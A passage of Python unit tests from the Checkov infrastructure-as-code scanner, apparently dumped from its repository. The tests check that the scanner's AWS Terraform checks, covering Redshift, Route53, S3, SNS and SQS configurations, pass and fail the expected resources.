    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RedshiftClusterWithCommonUsernameAndPublicAccess import check\nfrom checkov.terraform.runner import Runner\n\nclass TestRedshiftClusterWithCommonUsernameAndPublicAccess(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedshiftClusterWithCommonUsernameAndPublicAccess\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_redshift_cluster.pass1\",\n            \"aws_redshift_cluster.pass2\",\n            \"aws_redshift_cluster.pass3\"\n        }\n        failing_resources = {\n            \"aws_redshift_cluster.fail\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftInEc2ClassicMode.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RedshiftInEc2ClassicMode import check\nfrom checkov.terraform.runner import Runner\n\nclass TestRedshiftInEc2ClassicMode(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedshiftInEc2ClassicMode\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_redshift_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_redshift_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftServerlessNamespaceKMSKey.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RedshiftServerlessNamespaceKMSKey import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRedshiftServerlessNamespaceKMSKey(unittest.TestCase):\n    def test(self) -> None:\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedshiftServerlessNamespaceKMSKey\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_redshiftserverless_namespace.pass\",\n        }\n        failing_resources = {\n            \"aws_redshiftserverless_namespace.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RedshiftSnapshotCopyGrantEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RedshiftClusterSnapshotCopyGrantEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRedshiftClusterSnapshotCopyGrantEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedshiftSnapshotCopyGrantEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_redshift_snapshot_copy_grant.pass\",\n        }\n        failing_resources = {\n            \"aws_redshift_snapshot_copy_grant.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_Route53TransferLock.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.Route53TransferLock import check\n\n\nclass TestRoute53TransferLock(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_Route53TransferLock\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_route53domains_registered_domain.pass_missing\",\n            \"aws_route53domains_registered_domain.pass_true\",\n        }\n        failing_resources = {\n            \"aws_route53domains_registered_domain.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3AbortIncompleteUploads.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.S3AbortIncompleteUploads import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestS3AbortIncompleteUploads(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_S3AbortIncompleteUploads\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_s3_bucket_lifecycle_configuration.pass\",\n            \"aws_s3_bucket_lifecycle_configuration.pass2\",\n            \"aws_s3_bucket_lifecycle_configuration.pass3\",\n            \"aws_s3_bucket_lifecycle_configuration.resource_with_dynamic_rule_pass4\"\n        }\n        failing_resources = {\n            \"aws_s3_bucket_lifecycle_configuration.fail\",\n            \"aws_s3_bucket_lifecycle_configuration.fail2\",\n            \"aws_s3_bucket_lifecycle_configuration.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3AccessPointPubliclyAccessible.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.S3AccessPointPubliclyAccessible import check\nfrom checkov.terraform.runner import Runner\n\nclass TestS3AccessPointPubliclyAccessible(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_S3AccessPointPubliclyAccessible\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_s3_access_point.pass\",\n            \"aws_s3_access_point.pass_missing\"\n        }\n        failing_resources = {\n            \"aws_s3_access_point.fail\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3AllowsAnyPrincipal.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.S3AllowsAnyPrincipal import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestS3AllowsAnyPrincipal(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_S3AllowsAnyPrincipal\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_s3_bucket.pass\",\n            \"aws_s3_bucket.pass2\",\n            \"aws_s3_bucket_policy.pass\",\n            \"aws_s3_bucket_policy.pass_w_condition\",\n            \"aws_s3_bucket.pass_w_condition\",\n            \"aws_s3_bucket_policy.pass_w_condition2\",\n            \"aws_s3_bucket.pass_w_condition2\",\n            \"aws_s3_bucket.pass_w_condition3\",\n            \"aws_s3_bucket.pass_w_condition4\",\n            \"aws_s3_bucket.pass_w_condition5\",\n            \"aws_s3_bucket.pass_w_condition6\",\n        }\n        failing_resources = {\n            \"aws_s3_bucket.fail\",\n            \"aws_s3_bucket.fail2\",\n            \"aws_s3_bucket.fail3\",\n            \"aws_s3_bucket_policy.fail\",\n            \"aws_s3_bucket.fail_w_condition\",\n            \"aws_s3_bucket_policy.fail_w_condition\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3BlockPublicACLs.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.S3BlockPublicACLs import scanner\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestS3BlockPublicACLs(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'bucket':['foo'],\n                        'block_public_acls': [False],\n                        'block_public_policy': [True],\n                        'ignore_public_acls': [True],\n                        'restrict_public_buckets': [True]}\n        scan_result = scanner.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'bucket':['foo'],\n                        'block_public_acls': [True],\n                        'block_public_policy': [True],\n                        'ignore_public_acls': [True],\n                        'restrict_public_buckets': [True]}\n\n        scan_result = scanner.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3BlockPublicPolicy.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.S3BlockPublicPolicy import scanner\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestS3BlockPublicPolicy(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'bucket':['foo'], \n                        'block_public_acls': [True], \n                        'block_public_policy': [False],\n                        'ignore_public_acls': [True],\n                        'restrict_public_buckets': [True]}\n        scan_result = scanner.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'bucket':['foo'], \n                        'block_public_acls': [True], \n                        'block_public_policy': [True],\n                        'ignore_public_acls': [True],\n                        'restrict_public_buckets': [True]}\n\n        scan_result = scanner.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3BucketObjectEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.S3BucketObjectEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestS3BucketObjectEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_S3BucketObjectEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_s3_bucket_object.pass\",\n        }\n        failing_resources = {\n            \"aws_s3_bucket_object.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3BucketObjectLock.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.S3BucketObjectLock import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestS3BucketObjectLock(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_S3BucketObjectLock\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_s3_bucket.enabled_via_object\",\n            \"aws_s3_bucket.enabled_via_block\",\n        }\n        failing_resources = {\n            \"aws_s3_bucket.disabled_via_object\",\n            \"aws_s3_bucket.disabled_via_block\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3GlobalViewACL.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.S3GlobalViewACL import check\n\n\nclass TestS3GlobalViewACL(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_S3GlobalViewACL\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_s3_bucket_acl.pass\",\n            \"aws_s3_bucket_acl.pass2\",\n        }\n        failing_resources = {\n            \"aws_s3_bucket_acl.fail\",\n            \"aws_s3_bucket_acl.fail2\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3IgnorePublicACLs.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.S3IgnorePublicACLs import scanner\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestS3IgnorePublicACLs(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'bucket':['foo'], \n                        'block_public_acls': [True], \n                        'block_public_policy': [True],\n                        'ignore_public_acls': [False],\n                        'restrict_public_buckets': [True]}\n        scan_result = scanner.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'bucket':['foo'], \n                        'block_public_acls': [True], \n                        'block_public_policy': [True],\n                        'ignore_public_acls': [True],\n                        'restrict_public_buckets': [True]}\n\n        scan_result = scanner.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3ObjectCopyEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.S3ObjectCopyEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestS3ObjectCopyEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_S3ObjectCopyEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_s3_object_copy.pass\",\n        }\n        failing_resources = {\n            \"aws_s3_object_copy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3ProtectAgainstPolicyLockout.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.S3ProtectAgainstPolicyLockout import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestS3ProtectAgainstPolicyLockout(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_S3ProtectAgainstPolicyLockout\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_s3_bucket_policy.pass\",\n            \"aws_s3_bucket_policy.pass2\",\n            \"aws_s3_bucket_policy.pass3\",\n            \"aws_s3_bucket_policy.pass4\",\n            \"aws_s3_bucket_policy.pass5\",\n            \"aws_s3_bucket_policy.baddata\"\n\n        }\n        failing_resources = {\n            \"aws_s3_bucket_policy.failjsonencode\",\n            \"aws_s3_bucket_policy.multi_statement_fail\",\n            \"aws_s3_bucket_policy.fail\",\n            \"aws_s3_bucket.deprecated\",\n            \"aws_s3_bucket.deprecated2\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3RestrictPublicBuckets.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.S3RestrictPublicBuckets import scanner\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestS3RestrictPublicBuckets(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'bucket':['foo'], \n                        'block_public_acls': [True], \n                        'block_public_policy': [True],\n                        'ignore_public_acls': [True],\n                        'restrict_public_buckets': [False]}\n        scan_result = scanner.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'bucket':['foo'], \n                        'block_public_acls': [True], \n                        'block_public_policy': [True],\n                        'ignore_public_acls': [True],\n                        'restrict_public_buckets': [True]}\n\n        scan_result = scanner.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_S3SecureDataTransport.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.S3SecureDataTransport import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestS3SecureDataTransport(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_S3SecureDataTransport\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_s3_bucket_acl.pass_private\",\n            \"aws_s3_bucket_acl.pass_restricted\",\n            \"aws_s3_bucket_acl.pass_grant_blocked\",\n            \"aws_s3_bucket_acl.pass_website\",\n            \"aws_s3_bucket_acl.pass_policy1\",\n            \"aws_s3_bucket_acl.pass_policy2\",\n            \"aws_s3_bucket_acl.pass_policy3\",\n        }\n        failing_resources = {\n            \"aws_s3_bucket_acl.fail1\",\n            \"aws_s3_bucket_acl.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 7)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SNSCrossAccountAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SNSCrossAccountAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSNSOverPermissivePublishing(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SNSCrossAccountAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sns_topic_policy.pass0\",\n            \"aws_sns_topic_policy.pass1\",\n            \"aws_sns_topic_policy.pass2\",\n        }\n        failing_resources = {\n            \"aws_sns_topic_policy.fail0\",\n            \"aws_sns_topic_policy.fail1\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SNSTopicEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SNSTopicEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestS3Encryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SNSTopicEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sns_topic.enabled\",\n        }\n        failing_resources = {\n            \"aws_sns_topic.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SNSTopicPolicyAnyPrincipal.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SNSTopicPolicyAnyPrincipal import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBackupVaultEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SNSTopicPolicyAnyPrincipal\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sns_topic_policy.sns_tp1\",\n            \"aws_sns_topic_policy.sns_tp6\",\n            \"aws_sns_topic_policy.sns_pass_condition\",\n        }\n        failing_resources = {\n            \"aws_sns_topic_policy.sns_tp2\",\n            \"aws_sns_topic_policy.sns_tp3\",\n            \"aws_sns_topic_policy.sns_tp4\",\n            \"aws_sns_topic_policy.sns_tp5\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SQSOverlyPermissive.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SQSOverlyPermissive import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSQSOverlyPermissive(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SQSOverlyPermissive\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sqs_queue_policy.pass\",\n            \"aws_sqs_queue_policy.pass_w_condition\",\n        }\n        failing_resources = {\n            \"aws_sqs_queue_policy.fail\",\n            \"aws_sqs_queue_policy.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SQSPolicy.py",
